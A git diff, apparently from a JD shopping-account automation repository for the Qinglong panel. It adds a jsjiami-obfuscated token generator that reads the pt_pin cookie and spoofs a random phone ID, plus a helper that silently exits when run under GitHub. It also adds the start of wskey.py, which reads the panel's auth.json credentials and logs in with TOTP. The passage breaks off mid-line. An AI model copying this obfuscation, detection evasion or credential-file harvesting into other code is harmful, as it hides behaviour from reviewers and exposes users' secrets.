_0x5108=function(_0x4dc255,_0x3cb8bc){_0x4dc255=~~'0x'['concat'](_0x4dc255);var _0x2e664b=_0x2cf9[_0x4dc255];if(_0x5108['xFLNEr']===undefined){(function(){var _0xfc2aa4=typeof window!=='undefined'?window:typeof process==='object'&&typeof require==='function'&&typeof global==='object'?global:this;var _0x26458d='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0xfc2aa4['atob']||(_0xfc2aa4['atob']=function(_0x509ed4){var _0x2e5ed8=String(_0x509ed4)['replace'](/=+$/,'');for(var _0x5f2c3c=0x0,_0x5a7e73,_0x42fadc,_0x50b6c7=0x0,_0x2de292='';_0x42fadc=_0x2e5ed8['charAt'](_0x50b6c7++);~_0x42fadc&&(_0x5a7e73=_0x5f2c3c%0x4?_0x5a7e73*0x40+_0x42fadc:_0x42fadc,_0x5f2c3c++%0x4)?_0x2de292+=String['fromCharCode'](0xff&_0x5a7e73>>(-0x2*_0x5f2c3c&0x6)):0x0){_0x42fadc=_0x26458d['indexOf'](_0x42fadc);}return _0x2de292;});}());var _0x503f7f=function(_0x517424,_0x3cb8bc){var _0x5bb1d7=[],_0x204abf=0x0,_0x50c70e,_0x376d53='',_0x19ba11='';_0x517424=atob(_0x517424);for(var _0x2212a4=0x0,_0x34e1ad=_0x517424['length'];_0x2212a4<_0x34e1ad;_0x2212a4++){_0x19ba11+='%'+('00'+_0x517424['charCodeAt'](_0x2212a4)['toString'](0x10))['slice'](-0x2);}_0x517424=decodeURIComponent(_0x19ba11);for(var _0x5372ab=0x0;_0x5372ab<0x100;_0x5372ab++){_0x5bb1d7[_0x5372ab]=_0x5372ab;}for(_0x5372ab=0x0;_0x5372ab<0x100;_0x5372ab++){_0x204abf=(_0x204abf+_0x5bb1d7[_0x5372ab]+_0x3cb8bc['charCodeAt'](_0x5372ab%_0x3cb8bc['length']))%0x100;_0x50c70e=_0x5bb1d7[_0x5372ab];_0x5bb1d7[_0x5372ab]=_0x5bb1d7[_0x204abf];_0x5bb1d7[_0x204abf]=_0x50c70e;}_0x5372ab=0x0;_0x204abf=0x0;for(var _0x30875f=0x0;_0x30875f<_0x517424['length'];_0x30875f++){_0x5372ab=(_0x5372ab+0x1)%0x100;_0x204abf=(_0x204abf+_0x5bb1d7[_0x5372ab])%0x100;_0x50c70e=_0x5bb1d7[_0x5372ab];_0x5bb1d7[_0x5372ab]=_0x5bb1d7[_0x204abf];_0x5bb1d7[_0x204abf]=_0x50c70e;_0x376d53+=String['fromCharCode'](_0x517424['charCodeAt'](_0x30875f)^_0x5bb1d7[(_0x5bb1d7[_0x5372ab]+_0x5bb1d7[_0x204abf])%0x100]);}return _0x376d53;};_0x5108['NgRmMn']=_0x503f7f;_0x5108['CiKmfm']={};_0x5108['xFLNEr']=!![];}var _0x15f777=_0x5108['CiKmfm'][_0x4dc255];if(_0x15f777===undefined){if(_0x5108['GhDaFS']===undefined){_0x5108['GhDaFS']=!![];}_0x2e664b=_0x5108['NgRmMn'](_0x2e664b,_0x3cb8bc);_0x5108['CiKmfm'][_0x4dc255]=_0x2e664b;}else{_0x2e664b=_0x15f777;}return _0x2e664b;};function getJxToken(){var _0x3565bd={'AShns':_0x5108('0','U*Pv'),'ehytr':function(_0x50bf17,_0x53078a){return _0x50bf17<_0x53078a;},'GoCYd':function(_0x136745,_0x5686db){return _0x136745(_0x5686db);},'xUqbe':function(_0x1ea9c8,_0x5b6c4e){return _0x1ea9c8*_0x5b6c4e;}};function _0x23cb77(_0x378208){let _0x36ad34=_0x3565bd[_0x5108('1','cqej')];let _0x3ba0b7='';for(let _0x24b162=0x0;_0x3565bd[_0x5108('2','1#C#')](_0x24b162,_0x378208);_0x24b162++){_0x3ba0b7+=_0x36ad34[_0x3565bd[_0x5108('3','Hq%O')](parseInt,_0x3565bd[_0x5108('4','U*Pv')](Math['random'](),_0x36ad34[_0x5108('5','8QnT')]))];}return _0x3ba0b7;}return new Promise(_0x2ef875=>{let _0x9ac908=_0x3565bd[_0x5108('6','x)1A')](_0x23cb77,0x28);let _0x256650=(+new Date())[_0x5108('7','U*Pv')]();if(!cookie[_0x5108('8','8QnT')](/pt_pin=([^; ]+)(?=;?)/)){console['log'](_0x5108('9','Hq%O'));_0x3565bd['GoCYd'](_0x2ef875,null);}let _0x4e1006=cookie[_0x5108('a','8#od')](/pt_pin=([^; ]+)(?=;?)/)[0x1];let _0x57bff6=$['md5'](''+decodeURIComponent(_0x4e1006)+_0x256650+_0x9ac908+'tPOamqCuk9NLgVPAljUyIHcPRmKlVxDy')[_0x5108('b',']OsH')]();_0x3565bd['GoCYd'](_0x2ef875,{'timestamp':_0x256650,'phoneid':_0x9ac908,'farm_jstoken':_0x57bff6});});};_0xod8='jsjiami.com.v6'; -!function(n){"use strict";function t(n,t){var r=(65535&n)+(65535&t);return(n>>16)+(t>>16)+(r>>16)<<16|65535&r}function r(n,t){return n<>>32-t}function e(n,e,o,u,c,f){return t(r(t(t(e,n),t(u,f)),c),o)}function o(n,t,r,o,u,c,f){return e(t&r|~t&o,n,t,u,c,f)}function u(n,t,r,o,u,c,f){return e(t&o|r&~o,n,t,u,c,f)}function c(n,t,r,o,u,c,f){return e(t^r^o,n,t,u,c,f)}function f(n,t,r,o,u,c,f){return e(r^(t|~o),n,t,u,c,f)}function i(n,r){n[r>>5]|=128<>>9<<4)]=r;var e,i,a,d,h,l=1732584193,g=-271733879,v=-1732584194,m=271733878;for(e=0;e>5]>>>t%32&255);return r}function d(n){var t,r=[];for(r[(n.length>>2)-1]=void 0,t=0;t>5]|=(255&n.charCodeAt(t/8))<16&&(o=i(o,8*n.length)),r=0;r<16;r+=1)u[r]=909522486^o[r],c[r]=1549556828^o[r];return e=i(u.concat(d(t)),512+8*t.length),a(i(c.concat(e),640))}function g(n){var t,r,e="";for(r=0;r>>4&15)+"0123456789abcdef".charAt(15&t);return e}function v(n){return unescape(encodeURIComponent(n))}function m(n){return h(v(n))}function p(n){return g(m(n))}function s(n,t){return l(v(n),v(t))}function C(n,t){return g(s(n,t))}function A(n,t,r){return t?r?s(t,n):C(t,n):r?m(n):p(n)}$.md5=A}(this); // prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/wskey.py b/wskey.py new file mode 100644 index 000000000..8d186891a --- /dev/null +++ b/wskey.py @@ -0,0 +1,640 @@ +# -*- coding: utf-8 -* +''' +new Env('wskey转换'); +''' +import socket # 用于端口检测 +import base64 # 用于编解码 +import json # 用于Json解析 +import os # 用于导入系统变量 +import sys # 实现 sys.exit +import logging # 用于日志输出 +import time # 时间 +import re # 正则过滤 +import hmac +import struct + +WSKEY_MODE = 0 +# 0 = Default / 1 = Debug! + +if "WSKEY_DEBUG" in os.environ or WSKEY_MODE: # 判断调试模式变量 + logging.basicConfig(level=logging.DEBUG, format='%(message)s') # 设置日志为 Debug等级输出 + logger = logging.getLogger(__name__) # 主模块 + logger.debug("\nDEBUG模式开启!\n") # 消息输出 +else: # 判断分支 + logging.basicConfig(level=logging.INFO, format='%(message)s') # Info级日志 + logger = logging.getLogger(__name__) # 主模块 + +try: # 异常捕捉 + import requests # 导入HTTP模块 +except Exception as e: # 异常捕捉 + logger.info(str(e) + "\n缺少requests模块, 请执行命令:pip3 install requests\n") # 日志输出 + sys.exit(1) # 退出脚本 +os.environ['no_proxy'] = '*' # 禁用代理 +requests.packages.urllib3.disable_warnings() # 抑制错误 +try: # 异常捕捉 + from notify import send # 导入青龙消息通知模块 +except Exception as err: # 异常捕捉 + logger.debug(str(err)) # 调试日志输出 + logger.info("无推送文件") # 标准日志输出 + +ver = 20524 # 版本号 + + +# def ql_2fa(): +# ''' Demo +# if "WSKEY_TOKEN" in os.environ: +# url = 'http://127.0.0.1:{0}/api/user'.format(port) # 设置 URL地址 +# try: # 异常捕捉 +# res = s.get(url) # HTTP请求 [GET] 使用 session +# except Exception as err: # 异常捕捉 +# logger.debug(str(err)) # 调试日志输出 +# else: # 判断分支 +# if res.status_code == 200 and res.json()["code"] == 200: +# twoFactorActivated = str(res.json()["data"]["twoFactorActivated"]) +# if twoFactorActivated == 'true': +# logger.info("青龙 2FA 已开启!") +# url = 'http://127.0.0.1:{0}/api/envs?searchValue=WSKEY_Client'.format(port) # 设置 URL地址 +# res = s.get(url) +# if res.status_code == 200 and res.json()["code"] == 200: +# data = res.json()["data"] +# if len(data) == 0: +# url = 'http://127.0.0.1:{0}/api/apps' +# data = json.dumps({ +# "name": "wskey", +# "scopes": ["crons", "envs", "configs", "scripts", "logs", "dependencies", "system"] +# }) +# res = s.post(url, data=data) +# if res.status_code == 200 and res.json()["code"] == 200: +# logger.info("OpenApi创建成功") +# client_id = res.json()["data"]["client_id"] +# client_secret = res.json()["data"]["client_secret"] +# wskey_value = 'client_id={0}&client_secret={1}'.format(client_id, client_secret) +# data = [{"value": wskey_value, "name": "WSKEY_Client", "remarks": "WSKEY_OpenApi请勿删除"}] +# data = json.dumps(data) # Json格式化数据 +# url = 'http://127.0.0.1:{0}/api/envs'.format(port) # 设置 URL地址 +# s.post(url=url, data=data) # HTTP[POST]请求 使用session +# logger.info("\nWSKEY_Client变量添加完成\n--------------------\n") # 标准日志输出 +# ''' + +def ttotp(key): + key = base64.b32decode(key.upper() + '=' * ((8 - len(key)) % 8)) + counter = struct.pack('>Q', int(time.time() / 30)) + mac = hmac.new(key, counter, 'sha1').digest() + offset = mac[-1] & 0x0f + binary = struct.unpack('>L', mac[offset:offset + 4])[0] & 0x7fffffff + return str(binary)[-6:].zfill(6) + + +def ql_send(text): + if "WSKEY_SEND" in os.environ and os.environ["WSKEY_SEND"] == 'disable': + return True + else: + try: # 异常捕捉 + send('WSKEY转换', text) # 消息发送 + except Exception as err: # 异常捕捉 + logger.debug(str(err)) # Debug日志输出 + logger.info("通知发送失败") # 标准日志输出 + + +# 登录青龙 返回值 token +def get_qltoken(username, password, twoFactorSecret): # 方法 用于获取青龙 Token + logger.info("Token失效, 新登陆\n") # 日志输出 + if twoFactorSecret: + try: + twoCode = ttotp(twoFactorSecret) + except Exception as err: + logger.debug(str(err)) # Debug日志输出 + logger.info("TOTP异常") + sys.exit(1) + url = ql_url + "api/user/login" # 设置青龙地址 使用 format格式化自定义端口 + payload = json.dumps({ + 'username': username, + 'password': password + }) # HTTP请求载荷 + headers = { + 'Accept': 'application/json', + 'Content-Type': 'application/json' + } # HTTP请求头 设置为 Json格式 + try: # 异常捕捉 + res = requests.post(url=url, headers=headers, data=payload) # 使用 requests模块进行 HTTP POST请求 + if res.status_code == 200 and res.json()["code"] == 420: + url = ql_url + 'api/user/two-factor/login' + data = json.dumps({ + "username": username, + "password": password, + "code": twoCode + }) + res = requests.put(url=url, headers=headers, data=data) + if res.status_code == 200 and res.json()["code"] == 200: + token = res.json()["data"]['token'] # 从 res.text 返回值中 取出 Token值 + return token + else: + logger.info("两步校验失败\n") # 日志输出 + sys.exit(1) + elif res.status_code == 200 and res.json()["code"] == 200: + token = res.json()["data"]['token'] # 从 res.text 返回值中 取出 Token值 + return token + except Exception as err: + logger.debug(str(err)) # Debug日志输出 + sys.exit(1) + else: + url = ql_url + 'api/user/login' + payload = { + 'username': username, + 'password': password + } # HTTP请求载荷 + payload = json.dumps(payload) # json格式化载荷 + headers = { + 'Accept': 'application/json', + 'Content-Type': 'application/json' + } # HTTP请求头 设置为 Json格式 + try: # 异常捕捉 + res = requests.post(url=url, headers=headers, data=payload) # 使用 requests模块进行 HTTP POST请求 + if res.status_code == 200 and res.json()["code"] == 200: + token = res.json()["data"]['token'] # 从 res.text 返回值中 取出 Token值 + return token + else: + ql_send("青龙登录失败!") + sys.exit(1) # 脚本退出 + except Exception as err: + logger.debug(str(err)) # Debug日志输出 + logger.info("使用旧版青龙登录接口") + url = ql_url + 'api/login' # 设置青龙地址 使用 format格式化自定义端口 + payload = { + 'username': username, + 'password': password + } # HTTP请求载荷 + payload = json.dumps(payload) # json格式化载荷 + headers = { + 'Accept': 'application/json', + 'Content-Type': 'application/json' + } # HTTP请求头 设置为 Json格式 + try: # 异常捕捉 + res = requests.post(url=url, headers=headers, data=payload) # 使用 requests模块进行 HTTP POST请求 + token = json.loads(res.text)["data"]['token'] # 从 res.text 返回值中 取出 Token值 + except Exception as err: # 异常捕捉 + logger.debug(str(err)) # Debug日志输出 + logger.info("青龙登录失败, 请检查面板状态!") # 标准日志输出 + ql_send('青龙登陆失败, 请检查面板状态.') + sys.exit(1) # 脚本退出 + else: # 无异常执行分支 + return token # 返回 token值 + # else: # 无异常执行分支 + # return token # 返回 token值 + + +# 返回值 Token +def ql_login(): # 方法 青龙登录(获取Token 功能同上) + path = '/ql/config/auth.json' # 设置青龙 auth文件地址 + if not os.path.isfile(path): + path = '/ql/data/config/auth.json' # 尝试设置青龙 auth 新版文件地址 + if os.path.isfile(path): # 进行文件真值判断 + with open(path, "r") as file: # 上下文管理 + auth = file.read() # 读取文件 + file.close() # 关闭文件 + auth = json.loads(auth) # 使用 json模块读取 + username = auth["username"] # 提取 username + password = auth["password"] # 提取 